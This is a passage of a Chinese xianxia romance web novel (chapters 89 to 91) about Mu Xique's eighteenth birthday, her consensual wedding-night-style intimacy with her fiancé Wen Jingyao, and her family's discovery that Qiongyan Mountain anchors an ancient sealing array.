“夕阙,你会讨厌我吗?…… 生辰当日, 慕夕阙回了淞溪。 她这几月时常回来,隔三差五便跑一趟,今日回来后, 远远便看到蔺九尘杵着根棍子正在凶弟子。 见慕夕阙回来,被凶的弟子小脸一垮, 如见救世主般跑过来:“二小姐, 您终于回来了,大师兄近来好生凶残。” “还敢告状?”蔺九尘扬起棍子作势要打。 弟子慌忙拱手:“不敢不敢,弟子基本功不扎实, 这就下去练个百八十遍!” 说完一溜烟便窜,转眼便找不见人了,蔺九尘也并未追。 慕夕阙眉梢一挑:“近来可不少弟子朝我告状了, 师兄看着好生凶狠。” 蔺九尘蹙眉:“现在乱成一遭, 云川牢狱失踪的那一百多名修士仍未找见, 他们修为高强若化祟后便是灾祸, 让他们勤加修行也是为了自保。” 慕夕阙点点头:“是是是, 师兄远见。” 蔺九尘和她并肩走去,边走边问:“你和闻少主的婚宴按理说两月后便该筹备了,可如今十三州这局面……” “暂且不办, 我想好了。”慕夕阙耸了耸肩,并不在乎, “这种关头办婚宴, 也容易让一些人趁机闹事,鹤阶可还在呢, 虽然近些时日消停了,但恐怕兰洵一回来,他们又要闹事了。” “是。”蔺九尘颔首, 待走至朝蕴的大殿前,他停下来,从怀中取出个木盒,“生辰礼,今日你十八岁了。” 在蔺九尘眼里,慕夕阙才十八岁,可实际上,如今二十多岁的蔺九尘在慕夕阙眼里,更像是个毛头小子。 她接过来,打开看了眼,是一把短刀,做工上乘,拔出刀鞘后只觉得眼前冷光闪现,是倦天涯的刀。 “短刀,随身携带,我知道你会用刀。” 整个慕家都并未问慕夕阙为何会影杀的手段,为何会那般多乱七八糟的招式,即使他们都心知肚明犯下这些杀业的是慕夕阙,可从知道那一刻,便没有主动问过。 慕夕阙也不客气,直接收下:“那就多谢师兄了。” 蔺九尘并未进去,他还需去学宫授课,送慕夕阙到大殿前便离开,慕夕阙推门进去。 姜榆如今正在学宫修习,朝蕴这里便只有她,以及慕从晚。 两人似乎在等她,外厅的桌上摆了膳,见慕夕阙来,两人起身。 “小夕。” 慕夕阙掩上门,唤道:“阿娘,阿姐。” 朝蕴走过来将她按在身边:“我想着你今日也会回来,听闻惊遥前些时日醒了,便不用再守在那里了。” 慕夕阙颔首:“是,过去安顿几日便回来住。” “小夕,生辰礼。” 一个木匣子从一旁递来。 慕从晚的脸色好了许多,几月的休养令她长胖不少,小脸已经不是过去的皮包骨模样,她瞧着容光焕发,原先清冷的气息也削淡了些。 慕夕阙过去从未收过慕从晚的礼,朝蕴一给她,她便跑大老远,小时候总爱怄气,这是第一次由慕从晚亲自递给她生辰礼。 是一件金色的云绡。 朝蕴打趣道:“你阿姐自己做的,小夕不知道吧,阿姐可会做衣裳了。” 慕从晚常年不出门,无法修炼,整日便是看书作画,也练了一手针织。 慕夕阙笑着道:“多谢阿姐。” 朝蕴也递了两个木匣:“阿娘和你师妹的礼物。偏殿放了弟子们的赠礼。” 慕夕阙挨个收礼道谢,每年生辰,慕二小姐能收上不少礼物,来自十三州世家们的赠礼,以及慕家弟子的礼物,她往年很少拆开看,今年倒是在屋内挨个拆开。 直到朝蕴喊她:“先用膳。” 慕夕阙方过来,又重新坐下,仔细算算,她们鲜少聚在一起用膳,近些时日朝蕴也忙得不见人,整日要应付十三州那些找事的世家,以及到处追捕从云川逃走的犯人。 几人边用膳,朝蕴说道:“小夕,你阿姐已入金丹境。” 慕夕阙眼眸弯起:“本该如此。” 慕从晚的天资胜过于她,也胜过闻惊遥,出生便能引气入体,若非遭奸人所害,她或许就如慕家那位老祖一般,能不借助神器二十化神。 此番灵根接通,如虎添翼般,曾经沉寂在经脉中的灵力游走全身,修为节节攀登,加之慕家的灵丹喂养,几月入金丹兴许听着过于诡异,可在她身上,慕夕阙又觉得这再合适不过。 慕从晚抿着唇笑笑,替慕夕阙夹菜,声音略轻:“这些时日你便好好休息,日后若能用上阿姐,便不必客气。” 慕夕阙狡黠一笑:“那是自然,我护了你多少次,可不得你来护我一次?” 这顿饭用到傍晚,慕夕阙将礼都拆好收起,去后山摘了几颗果子,便准备辞行告别。 “闻惊遥方醒,我和他有些事需要商量,阿娘,阿姐,我便先离开,过些时日再回来。” 朝蕴颔首:“好,别忧心家里的事,你得好好养伤。” 慕夕阙拱手告别,她转身离开,朝蕴和慕从晚站在高处看她越走越远,直到乘上灵舟消失在天际,云雾遮住了她的身影。 几只胖成球的灵鸟落地,守在慕从晚身边叽叽喳喳要吃的,她蹲下从乾坤袋中取出果子,耐心喂给这些灵鸟,抬手抚摸它们柔软的羽。 朝蕴低声道:“不打算告诉小夕吗,我们老祖陵寝里探查到的消息。” 慕从晚并未抬头,看着这些灵鸟:“小夕今日来便已看出了我们已打开陵寝,我猜她也有所猜测了。” 她抬眸看向慕夕阙离开的方向,轻轻叹了一声:“好不容易休息些时日,又何必逼这般紧,她并未主动追问,便是暂时不想知晓,总之外头还有那些大能们顶着。” 朝蕴沉默片刻,也道:“是,这些时日他们做的够多了,也该让那些坐收渔翁之利的人忙些时日了。”- 从淞溪到东浔,几个时辰便到了,慕夕阙落地之时天色已黑,远远地便瞧见门口有人等着。 闻惊遥很显眼,身子高挑,站姿笔直,能轻易在人堆中显露,近些时日东浔多雨,他撑了柄竹节青伞,安静等她回来。 慕夕阙刚下灵舟,闻惊遥便走了过来。 “夕阙。” 伞面朝她这边倾斜,青檐上的雨水滴落在伞面,顺着伞骨下滑,滴滴答答聚成雨帘,闻惊遥拎过她手中的东西,两人一同朝闻家主宅走。 这些时日弟子们早已习惯少主和慕二小姐并肩,见到并不会打招呼,而是默默走过去,两人这一路上倒是安静。 到了画墨阁,闻惊遥将伞收起,抖了抖雨珠后搁在廊下。 院里的楹花树早已在接连几日的雨中落了满地的花,慕夕阙看了一眼,说道:“落花了,闻惊遥。” 闻惊遥看过去,那株树是他亲手种下的,几年里早已根壮叶茂,浓翠蔽日,枝干长出了画墨阁的院墙,在院外也落了满地的花。 他说道:“明年会再开的。” 慕夕阙没再继续看,她推开门朝里走,绕去水房换衣梳洗,闻惊遥便将院里的落花扫干净。 他安静站了一会儿,等到慕夕阙沐浴完出来,换了身霜白的寝衣,屋内供了灵火珠倒也不至于冷,她穿得单薄,在软椅上懒洋洋躺下。 闻惊遥盥洗过后,她还在窗边躺着,敞开的窗户并不会往里灌雨,但仍会有寒风,吹动慕夕阙穿着的薄纱。 少年走来,并未关窗,站在她身侧取出根赤红的玉簪,他这三日紧赶慢赶将这根完工一半的玉簪彻底雕好,玉是琉璃红色,在烛火下隐隐有流光在簪内流动,他还特意拿去请青鸾授力。 闻惊遥将玉簪簪在她的发髻上,慕夕阙刚沐浴完,长发也只是松松挽起,柔顺的发披散在躺椅之上。 慕夕阙睁开眼,少年穿着一身单薄的青色寝衣,沐浴过后的身上是与她相同的雅香,他坐在她身边,抬手拂开她鬓边的碎发。 “夕阙,我做好了。” 慕夕阙摘下玉簪拿起,今夜下雨没有月色,但屋内的灵火珠可以照亮,她看着这根玉簪,花饰应是桃花,闻惊遥的手挺巧,这应是第一次自己做簪子,虽比不上外头卖的,却也能做得像模像样。 “我印象里,上辈子我十八岁生辰,你送的是身衣裳。” 闻惊遥颔首:“嗯。” “你前几个月也送了我根簪子,一根白玉簪,那是你第一次送我簪子。”慕夕阙看着他,“是因为知晓我们订婚了,所以就可以送簪子了?” “嗯。”闻惊遥并未避讳,直言道,“我想向你表白心意,我心悦你,并非是两家联姻。” 慕夕阙将簪子簪回发髻间,她侧躺着看他,枕着屈起的一条胳膊,笑吟吟道:“闻惊遥,看惯了你当圣尊的那副模样,如今你顶着这张脸说话,我倒还有些觉得不真实。” 闻惊遥俯身吻下来,他捧住她的脸,在她唇上轻咬了瞬,双目对视,他的声音极低:“忘了他,现在在你身边的是我,不是圣尊,只是闻惊遥,十八岁的闻惊遥。” “装嫩呢,都活了一百来岁了。”慕夕阙挠挠他的下颌,眸底笑意加深。 闻惊遥亲亲她的鼻尖,又将吻落在她眨动的眼睫:“嗯,不管我有多少岁的记忆,如今这具身子才十八岁。” 已经丑时了,她的生辰已过,慕夕阙望向窗外,雨势更大了,打在院里噼里啪啦的声响极大,她扬起下颌说道:“关窗。” 闻惊遥直起身子,将轩窗关上。 屋内顿时安静不少,虽仍能听见雨声,却不如方才那般聒噪。 闻惊遥垂眸看她,她在窗边支了张软榻,平日素爱在这里吹风晒日头,吊顶上悬挂的灵火珠散出暖黄的光,落在慕夕阙皙白的肌肤上,为她添了几分柔和。 少年俯身去吻她的唇,勾勒她柔软的唇,探索她唇齿内的轮廓和温度,他平日的稳重雅正,也只有在这时候才会尽数褪去,那种难言的欲念会如罗网般将闻家这位如珪如璋的少主拖下水,用他的舌尖和牙齿去吮吻啃咬,在亲密的交缠中吞咽她的气息。 悬在头上的天谴混着压抑多年的渴望,都让他在一种极端的危险中,反而品出了些酣畅的快意。 闻惊遥坐起身,慕夕阙翻身跨坐在他怀中,她亲人的时候仍爱咬他,却不如过去那般撕咬,更像是在逗他一般的啃咬。 “夕阙,夕阙,我好喜欢你……” 闻惊遥闭上眼,微凉的唇落在她的脖颈间,他闻着她的气息,嘶哑的声音让每个字都模糊不清。 慕夕阙听了不知道多少遍他的喜欢,闻言笑着反问:“有多喜欢?” “如珍宝,如大道。”闻惊遥抱紧她,将脑袋埋进她的脖颈间,“你就是我的大道。” 慕夕阙的掌心下是他柔顺的发,少年的青丝高束成马尾,他情浓之时身上那股淡雅的雪竹香也会愈发浓郁,闻惊遥从小熏香便是这种,照慕夕阙的理解,怕是都被这香腌入味了。 她摸摸他的长发,在他耳畔说道:“不够,总用嘴说,没一点行动,我看不出来。” 闻惊遥抬起头,慕夕阙看到他眼尾的薄红。 有时她也觉得闻惊遥真乃奇人,能忍至此,在清心观那十年可没少磨他的性子,这几日他们没少亲近,睡在一张榻上他都能及时止住,若非慕夕阙知晓闻少主动过情,怕也会觉得他是不是哪里有问题。 慕夕阙抬手在他分明突起的喉结上打滚,感知他的喉口滚动的幅度,淡声问他:“订婚宴也办了,婚契也结了,就差个婚宴了,你在拘束什么呢?” 闻家不教这些情爱之事,但闻惊遥在外历练也不是什么都不知晓,能听明白她说的什么话,他浅浅啄吻她的唇,说道:“夕阙,你得想清楚,我时日无多。” “你时日无多,便敢抓着我不放,却又不敢迈出那最后一步?”慕夕阙推开他,眼眸微眯,“你真奇怪,在世人眼里我们跟道侣没什么差别了,你以为不做这些事便不会耽误我了?” 闻惊遥薄唇微抿,她坐在他的怀中,两人对视,她高挑的身子只裹了身寝衣,柔黑的发遮不住修长的脖颈,她的体温、她的馨香都在他怀中。 闻惊遥忽然闭上眼,叹了一口气,他埋进她的怀里,抱紧她的身子,从四面八方萦来的是她的馥郁香,这些天来他压制的欲念好似都倾闸而出。 “夕阙,你会讨厌我吗?” 慕夕阙把玩他通红的耳根,声音含笑:“这世上闻少主只能是我的,你的一切都应该是我的,没有人比我懂你,也没有人比你懂我,你觉得我会讨厌你吗?” 沉寂之中,外头的雨声微弱,屋内的呼吸声在两人耳边回绕。 随后,屋内灵火球被覆灭,烛火吹散,黑暗之中,衣物摩挲的声音响起,闻少主在摸索慕二小姐的寝衣该如何解。 作者有话说:无奖竞猜,猜猜小闻会不会~ 第90章 第 90 章 “我当然会记住你。”…… 慕二小姐自小锦衣玉食, 吃的穿的都得是最好的,连一件寝衣都是云绡,质感柔软轻薄, 挡不住她的体温。 闻惊遥四岁便入了清心观,每年他只有三次下山的机会, 闻家人性子并不热络, 自小他被教育不可对任何人逢迎,闻少主也没几个朋友。 最好的朋友,是慕二小姐。 “夕阙……”闻惊遥并不知道自己到底要如何做, 他埋进她的怀中,耳畔是她规律的心跳,她的气息是如此干净浓郁, 这给他一种安心的感觉,* 好似他只要抱住她, 便能长长久久、永永远远地抱下去。 慕夕阙的手抚在他的脑后, 少年高束的马尾柔顺又带了股清香, 她穿过他的发丝有一下没一下地捋着,听他的呼吸慢慢浓烈,感知他常年微凉的体温正在一点点攀升。 闻惊遥在清心观待得太久了, 他修行的功法也过于寒凉,以至于他的体温常年如此, 可此刻, 情浓让他完全不像闻少主了。 慕夕阙的手臂绕过他的脖颈,她觉得他这模样看起来令人格外爽快, 修士五感过人,她可以在黑暗中看清他的脸,看到他眼尾的薄红, 以及额上跳动的青筋。 “还没解开啊?”慕夕阙笑了几声,低头在他脖颈咬了一口,感知到少年倏然紧绷的身子,“少主怎么这么纯情,没看过画本,我告诉你啊,你待会儿得这样做,先解开系带,然后亲亲我,手也别闲着,你想摸哪里都——” “夕阙。” 她细细密密,用极为轻柔的声音说那些在闻家严令禁止的东西,闻惊遥自幼博学,涉猎颇多,唯独在这方面他从未涉足,眼见她要说更猖狂的话,他抬手堵住她的嘴。 少年修长的手捂着慕二小姐的唇,宽大的掌覆盖了她的大半张脸,只露出一双明亮的眼睛,温热的呼吸喷涂在他的掌心,她抖动的长睫和含笑的眸子,一颦一笑都挠得人心痒。 “夕阙。” 闻惊遥闭上眼,声音极轻,像是生怕吓到她,俯首埋进她的脖颈间轻轻咬了一口,像是自言自语般:“夕阙,我们糊涂一次吧。” 慕夕阙闷闷笑笑,在他耳边说道:“你还不够糊涂吗?闻大少爷,你已经糊涂好久了。” “是,我好糊涂。” 闻惊遥的薄唇吮吻她修长的颈项,在此刻终于解开了慕二小姐难解至极的寝衣系带,这太过繁琐了,对他来说宛如解开一道极难破开的枷锁,她宽松的寝衣更加宽松了,闻少主本就不稳的手也越发抖了。 赤红的玉簪被取下,搁在软榻旁的小桌上,及腰的长发落下,今夜无月光,屋内晦暗,闻惊遥起身,青衫混着霜白的寝衣,内厅的榻是闻惊遥花了万金购置的,连一个锦枕都价值千金,他生怕有半分苛待。 衣裳都甩在了帐外,青白交叠,闻少主第一次没有去将衣裳挂起,而是任它们落在榻边,兴许有些冷了,慕夕阙微微弓起身,双臂环过少年的颈项,覆在他耳侧:“我冷。” 悬挂在帐外的灵火珠燃了两颗,光透过并不厚的纱帘落进来,将帘上的纹路斑驳打在帐内,闻惊遥俯身吻去她脖颈间细密的汗。 慕夕阙习惯于掌控一切,在那百年里她工于心计,练了满腹城府,重生以来也运筹帷幄,在今夜竟有些莫名的失控。 “嘶,你是小狗吗?”慕夕阙紧锁眉头,推着他肌理分明的肩胛,捂住身前,除了她自己无人碰过这里,闻少主那几颗牙明明并不利,偏生让她觉得被咬得生疼。 “抱歉。”闻惊遥却又凑上来,用柔软的舌舔了舔被他咬疼的地方,隐约间,慕夕阙听到他含糊的声音,“我要疯了,夕阙。” 他真的是要疯了。 他守着闻家的家规过了十几年,婚前失态,无令结契,如今更是在这清规森严的闻家主宅,在他与她未来的住处内,他将自己谨记于心的规矩坏了个彻彻底底,变得自私贪婪,欲壑难平。 闻惊遥听到她在抽气,不知是畅快,还是她在闷笑,他越来越神志不清,沉迷于她给的片刻温柔,总算明白何为温香软玉,真能令人沉沦。 “夕阙……夕阙……”他浅薄的知识不足以让他做完全程,酣畅混着疼痛要将他逼疯,闻惊遥咬住她汗湿的肩胛骨,吮吻她斑痕遍布的锁骨,求着慕二小姐,“你教教我,我愚笨无知,半分不懂。” 慕夕阙觉得他要烫熟了,被他毫无章法的一套磨得半生不死,咬着牙说道:“你找错了!傻子!” 闻惊遥摸摸索索,在慕二小姐没有一点耐心的指导下,总算是摸对了正路。 “闻惊遥……”慕夕阙仰起头,抓紧他的肩胛骨,指甲深陷进他的肩膀,咬牙切齿骂道,“混账……我真是恨死你了。” “夕阙,夕阙。”闻惊遥俯身埋进她的颈窝亲吻,一手却又覆在她的脸侧擦去她眼角淌落的泪痕,两人的距离亲密无间,他们从未这般疼过,也从未这般畅快过。 他时刻看着慕夕阙,在她似乎适应了些,过了最初的难忍后,他仅剩的理智也崩塌,再难以克制。 慕夕阙也要疯了,与闻惊遥打过不少次架,他执剑的时候格外稳重,出剑时力道极大,可他从未对她有过半分蛮横,如今两人独处,对她温温柔柔的少年将所有力气都用在了她身上,令慕夕阙难忍,只能用力推他。 死活推不开,慕夕阙一口咬住他的肩头,含糊骂道:“混账,闻惊遥……你混账!” “夕阙,夕阙……” 一个剑客自幼习剑,指腹和掌心的薄茧原是为了磨合握剑,如今却又成了肆虐的武器,让她卸了力气。 他拉过她紧攥着锦被一角的手,展开,与她十指相叠,少年修长的手紧绷到指节泛白。 闻惊遥看着她,看她披散的长发如海藻般散开在锦枕,看她酡红的脸和微皱的柳眉,看她伶仃的肩胛上垂落的他的发丝,听她比之平日沉重急促不少的呼吸声,他学什么都很快,包括这件事。 …… 闻惊遥从未听慕二小姐骂过这么多脏话。 慕二小姐觉得,这辈子是不会再有第二次了,她简直是疯了,脑子被撞坏了才会想着看他脱了衣裳厮混时候是什么模样。 东浔这场雨下了几日,入冬后天亮得也晚,到卯时外面还黑着,清晨这时候是一日内最冷的时辰了,可紧闭的轩窗却被推开了些。 冷风钻入,混着院里的花香,闻惊遥看了眼天,这场雨比前半夜小了些,却仍不见停,怕是还得再下几日,东浔便是这样,较之淞溪多雨。 闻惊遥转身回榻,撩起帘子束起,慕夕阙还生着气,背对他不理人。 他疯了一通后,如今又是那个不太会说话的闻少主了,这半晌确实闹得太狠了些,他越是克制便越是想用力,慕二小姐本想掌控局面,谁料被他气得愣是没了力气,全剩脾气。 赤金色的锦被盖在她身上,慕二小姐背对他侧躺,闻惊遥替她拉了拉锦被,盖住光裸的肩头,他找话说道:“夕阙,窗户开了,冷了你再和我说。” 慕夕阙没搭理他。 闻惊遥在榻边坐了会儿,又觉得自己这样一句话憋不出来定会惹她更气,他俯身过去想要看她,只瞧见慕夕阙紧闭的眼睛,长睫盖住眼睑,但呼吸尚有些喘,应是没睡着。 “夕阙,我弄伤你了吗?” 慕夕阙睁开眼,不想看见他,柳眉紧皱骂道:“滚开,别烦我。” 闻惊遥薄唇微抿,但心知自己这会儿真滚了,她肯定更气,说什么都不能滚。 “对不起,夕阙。”闻惊遥只能道歉,见她还不说话,又说道,“我没有经验,那会儿脑子不清醒,要不——” 话还没说完,慕夕阙一个翻身坐起,捂着锦被掩住身前,拉起锦枕砸过去,横眉骂道:“你说的跟我有经验一样,你是小狗吗,怎么总爱咬人!还是头牛啊,撞得人疼死了,我都说了缓一会儿!” 闻惊遥心知是自己的错,这会儿更是无颜以对,他被她一凶就不知道该怎么说,本就嘴笨,这会儿极其容易说错话,怕他的解释在她眼里是顶嘴。 慕夕阙额上青筋直跳,白他一眼没好气道:“要不什么,你刚才要说什么?” 闻惊遥看着她,温声道:“要不你欺负回来,我不动。” 慕夕阙刚压下去的火气又上来了,从锦被里伸出一脚踹向他:“滚!” 若不是心知闻惊遥并无逗她的意思,是真的有认真考虑,真心觉得这是个好的解决方法,慕夕阙早将他轰出去了。 闻惊遥看着她的背影,他沉默了会儿,躺上榻从身后连人带被搂进怀里,慕夕阙背对他俨然不想理他,少年亲了亲她的后颈,低声道:“对不起,夕阙,我惦记你太久了。” 见慕夕阙不说话,闻惊遥高挺的鼻梁在她后颈蹭了蹭,闭上眼说道:“那一百年里我好想抱你,可我们几年才能见一面,我盼着你出现,又盼着你不要出现,我以为无论前世今生,到我死你都不会再给我一个眼神,可你这般大度,竟肯给我我日思夜想、翘首以盼的情谊。” “我想记住你的模样、气息、温度和心跳,我实在太喜欢你了,真的好喜欢好喜欢你,夕阙,你太美好了。” 对闻惊遥这样打一棍子憋一句话的人来说,能说出这般直白的情话实属不易,或许这在他看来也不是刻意的情话,而是由心而发、他最想告诉她的话。 慕夕阙睁开眼,目光落在帐内,这榻上乱成一遭,价值千金的锦缎被她方才要疯掉之时抓烂,她是在生气,却并非因为他闹得太狠。 两个人的性子便注定他们之间的情事并不会太缓和,她也不喜欢太过压抑,让两人都不痛快,这种事就该是酣畅淋漓,极尽享受的。 她隐约的闷气来自于在方才那几个时辰的胡闹中,她能明显感觉出闻惊遥的难过和不舍,每一次亲吻和冲撞都像是在记住她,让她压了一肚子的情绪不知从何处发泄,只能撒给他。 慕夕阙对闻惊遥使惯了脾气,发泄情绪下意识想到的便是他。 “夕阙。”闻惊遥的喉口滚动,呼吸洒在她的脖颈间,“对不起,是不是弄疼你了?” 慕夕阙在他怀里转过身,他披着单薄的青色寝衣,她拉开被子盖住他,枕着自己屈起的胳膊看他,笑着说:“闻少主这个子真没白长,哪里都不一般。” 闻惊遥目光躲闪,耳根微红。 慕夕阙凑过去,双手环住他的腰身,咬住他的脖颈,闻惊遥的身子顷刻间紧绷,慕夕阙却又松开齿关,撑起上半身趴在他身上,抬起手摸摸他的脸。 “长得可真好看,像是朵高山雪莲,你知道十三州都说你无情无欲,现在是个小古板,以后一定是个大古板吗?” 她抬手摸摸他的下颌,凑到他耳边说道:“不过你一边哄着让我再忍忍,马上就结束,一边又亲又撞的时候,瞧着可一点不像个古板。” 闻惊遥的耳朵彻底红透。 他搂紧她的腰身,将脑袋埋进她的颈窝,声音沉闷:“夕阙,别说这样的话。” 慕夕阙闷闷笑了几声,被他这幅模样逗到,成功扳回一局,那点火气也消了,又躺了回去:“脸皮时而厚如城墙,时而薄如蝉翼,你可真奇怪。” 闻惊遥奇怪的地方可不止这一点,慕夕阙小时候便爱逗他,现在更是爱逗。 闻惊遥躺在她身侧,垫在她腰后的手替她揉着酸疼的肌肉,他并未说话,只安安静静看着她,这张脸从小看到大,怎么都看不够,想再看百年,千年,万年。 慕夕阙闭上眼,忽然问道:“你说外面乱成一团,那些世家们人人自危,咱们两个神器之主不出去帮忙,反而关起门过上自己的日子了,那些老头知道会不会气死?” 闻惊遥说道:“不必管他们,你已经做了很多了,休息几日并无大碍,无人敢嚼你口舌。” 慕夕阙睁开眼,两人面对面,她又问道:“十三州不少人说我作恶多端,我这些年张扬的性格也树敌不少,便连燕如珩喜欢我,都大概是惦记我背后的慕家财力,以及恶心地想将一个比他强的人拽下来,看我依附于他的模样,那你呢?” 闻惊遥抬手抚摸她的侧脸,指腹轻轻摩挲,他说道:“有人憎恶嫉恨你,但更多人敬仰钦佩你,在我这里,无论过去还是现在,又或者未来,你都是云端月,高山雪。” 慕夕阙笑起来:“这么喜欢啊,我捅了你多少回,你都不生气?” “那怎么会是你留给我的伤痕呢?”闻惊遥直起身子俯身过去,含住她的唇吮吻了下,一触即离,他看着她的眼睛,“那是你赠予我的礼物,是我的求而不得。” 慕夕阙抬手搂住他的脖颈,将人向下拉了拉,声音极轻:“闻惊遥,你得让我记住你,你得记住我。” 天亮了,昼光透过半开的轩窗扫进来,照亮了凌乱的屋内,撩起的帷帐又落了下去,遮住榻内交叠起伏的人影。 “夕阙,我当然会记住你。” 闻惊遥坐起身,抱紧坐在怀里的人,吻去她额上的细汗,以及眼角因快意逼出的泪花。 他低声祈求,并不想让她听到,更像是在说给自己。 “你能不能不要太快忘了我。”- 东浔落雨,淞溪仍温暖如春。 金龙栖息在山谷内,呼吸声震耳欲聋,生长在崖边的匡恶果树枝叶簌簌,如今果子几乎快落完,但匡恶四季常青。 慕从晚坐在崖边,身后有窸窣的脚步声传来,她并未回头,却也知道是谁。 蔺九尘和姜榆在过去二十多年并未见过慕从晚,连这位大小姐叫什么名字都不知晓,最初刚见面之时并不熟悉,他们也只会规规矩矩叫大小姐,如今几月的相处,关系已熟络不少。 蔺九尘比慕从晚大上几月,于是道:“小晚,你唤我们?” 慕从晚回眸仰头看他们:“师兄,师妹,你们坐吧。” 蔺九尘和姜榆在她身边席地坐下,三人望着幽深的山谷。 慕从晚并未直接说事,而是看着山谷道:“金龙是在七万年前来到这座山的,一万年前它与老祖缔结契约,成为淞溪的守护玉灵,后来淞溪逐渐发展起来,便有了如今的淞溪。” 这些事整个淞溪人都知道,蔺九尘和姜榆不知她为何要说这些,还是礼貌颔首。 慕从晚又道:“有些事应该让你们知晓,我们前日开了老祖的陵寝,里头并无尸身,老祖的尸身并未入陵,但棺内放了些东西,有关于金龙和十二辰,以及十二辰和慕家的秘密。” 蔺九尘眉心微蹙:“……什么秘密?” “金龙不靠百姓供奉,是因为百姓供奉的力量不足以它用来镇守这座山,而十二辰只认慕家人为主,是因为当年老祖死前将神魂供给了十二辰,以魂飞魄散为代价用十二辰守住了这片大陆。” 周遭无声,蔺九尘和姜榆都未说话。 风吹而过,吹起慕从晚的长发和衣裳,与之一同吹来的,还有缥缈的话:“万年前的灾厄降临,两位神器之主用十二辰和天罡篆凿出祭墟,百位大能献祭生命化为天柱竖立在祭墟外,牢牢镇压了那些秽毒。” 姜榆愕然问道:“……对啊,我们知道,神器凿出祭墟,大能们用尸骨镇压祭墟。” “这只是《十三州史》记载的。”慕从晚道,她看向姜榆,“一百位大能的尸骨,真的能镇压祭墟里险些覆灭整片大陆的秽毒吗?” 迎着蔺九尘和姜榆的目光,慕从晚摇摇头,说道:“祭墟内只是一部分秽毒,那是用来混淆外界的,真正要掩盖的,是上百位大能献祭性命,两位神器之主掏空寿数向天脉地脉借力,共同打出的能覆盖十三州和海外仙岛,能覆盖整片大陆的防护阵法。” “那阵法被一座座山压着,在万丈深的地内,淞溪是整片大陆的中心,琼筵山是最高的山,它是这整个阵法的阵心,金龙守的不是淞溪,不是慕家,是这阵法。” 姜榆愕然道:“当年老祖销毁所有东西,给金龙下禁制,是不想有人知道这机密,从而对阵法出手?” 蔺九尘却从慕从晚的话中,听出了更令人毛骨悚然的事情:“所以每一座山下都有秽毒,而琼筵山是整个阵法的中心,一旦琼筵山崩,那么……” 慕从晚道:“那么阵法破碎,秽毒再来。” 作者有话说:我们番外多甜,加全糖[撒花]《 》 90-97 第91章 第 91 章 公正 海外仙岛经过几月的休养, 已陆续重建,被海浪和海兽冲垮的房屋再次建立起来,渔船也重新航行在了这片辽阔海域。 除去出海打鱼维持生活的渔民, 每家只会留一个人照顾婴孩老者,其余人全数加入了两座山的修建中, 要将这两座崩裂的山再次建好, 才能让朱雀和鲲有栖息之地。 “兄长,朱雀来啦。”悬浮在海域上的一艘渔船中,宋云岫指着虚空飞过的朱雀。 宋云霁仰头看那只庞然神鸟飞过, 伸开的双翅遮天蔽日,从头顶飞过之际将日头全数遮盖,可很快它便飞往远处, 没有栖息的地方, 它只能在一些孤岛上短暂停留, 待的时间长了, 这座山会被它压塌。 于是海外仙岛的百姓这几月来没少见朱雀和鲲。 鲲时常悬浮在海中, 它略有些皮,有时会蛰伏等待渔船经过,然后摆尾扬起海水为渔民下一场雨, 但无人生它的气,反而会朗然大笑, 在这些渔民看来, 这是玉灵为他们降下的福泽之雨。 朱雀常常飞来飞去,从一座岛飞到另一座岛, 还有孩子摸过它的羽,它也不生气,反而会收起炽火避免烧到这些百姓。 宋云霁和宋云岫仰头看着朱雀飞过, 一艘渔船靠近他们,两人回头看去,是越疏棠和迟笙,以及几个修士们。 宋云霁赶忙拱手道:“今日巡了整片海域,其余人也都传了消息,并未发现兰洵的踪迹。” 一位海外仙岛的修士道:“太奇怪了,几个月了他也没一点动静,难不成真死了?” 越疏棠却皱眉:“渡劫修士不会死得那般容易,最怕的就是毫无动静。” 迟笙嘀嘀咕咕:“那他不打算回十三州吗,没有灵舟送他,他怎么穿过祭墟?” 越疏棠长叹一声,望向远处辽阔海域:“找不到兰洵,便无法安心,以我们这般天罗地网地搜寻,却半分踪影都无……实在奇怪。” 几个大人都叹气,便连宋云霁也满面愁容。 年岁最小的宋云岫歪歪脑袋,忽然道:“会不会他已经回十三州了?不是说那掌舵的船夫和其死于十三年前的兄长是他收养的孩子吗,一个船夫怎么会打造出能穿过祭墟的灵舟,那上头可抵御秽毒的禁制古怪极了……说不定就是从他们的养父那里学来的呢?” 越疏棠带人在海外仙岛搜了几个月了,也想过兰洵可能已不在这里,她回道:“可十三州派了几十位大能带了几千的弟子镇守祭墟外,围了个水泄不通,他若是回去十三州一定要穿过祭墟,也定会被人发现。” 宋云岫说道:“那或许他在祭墟呢?” 几人倏然看向她。 宋云岫下意识以为自己说错了话,悄悄朝兄长背后躲了躲,小声解释:“咱们在海外仙岛搜了几个月都没见过他的一点踪影,朱雀和鲲也在找他,玉灵都找不到的人,很可能就已经不在这里了,他又没回十三州,那能去的地方不就那一个了……” 他们这些修士顾虑太多,对祭墟的恐惧与敬畏让他们根本不敢去想,除了神器之主外竟然有人会进入诡谲的祭墟,兰洵重伤未愈,在海外仙岛是最适宜养伤的地方。 可一个九岁的孩子却没有那般多顾虑,在他们看来荒谬的猜测,由她说出来,竟多了几分道理。 越疏棠背身走到船尾,匆匆拨通了慕夕阙的玉符,那边接得很快。 “慕二小姐。”越疏棠急匆匆开口,“四个多月了,海外仙岛没有兰洵的踪迹,他也并未回十三州,那有没有可能,他去了祭墟?” 玉符另一侧,慕夕阙刚练完一套剑术,额上还有细密的汗,她并未有惊诧:“我知道,几日前我便想过了。” “那该如何办?”越疏棠声音焦急,“他进入祭墟做什么呢,那里面只有秽毒。” “越姑娘,你便不必忧心了,守好海外仙岛便可。”慕夕阙淡声安抚,并未多做解释,寒暄几句后便切断了玉符。 “夕阙,喝些茶水。”闻惊遥将温好的茶搁在桌上,看向石桌上搁置的今早从慕家传来的信,“我可以看吗?” 慕夕阙推给他,并未回话。 闻惊遥打开信,仔仔细细看完,随后将信叠好放回。 “与我们的猜测大致相同,果然和琼筵山有关。”闻惊遥看向慕夕阙,“前世琼筵山并未崩塌,我在鹤阶百余年,鹤阶从未打过琼筵山的主意,这座山在他们看来,只是座空山。” 慕夕阙垂眸,有些话不能告诉朝蕴他们,前世发生了什么只有她和闻惊遥知晓,金龙是死了的,淞溪已经完全没有玉灵之力,这是毋庸置疑的事情。 可琼筵山未崩,这座山仍压在阵心之上,兰洵完全可以趁那时崩山,他一个渡劫修士就算没有天罡篆,崩裂一座没有玉灵守护的山也并非难事。 但兰洵没有崩山,一直到慕夕阙死时,琼筵山仍在。 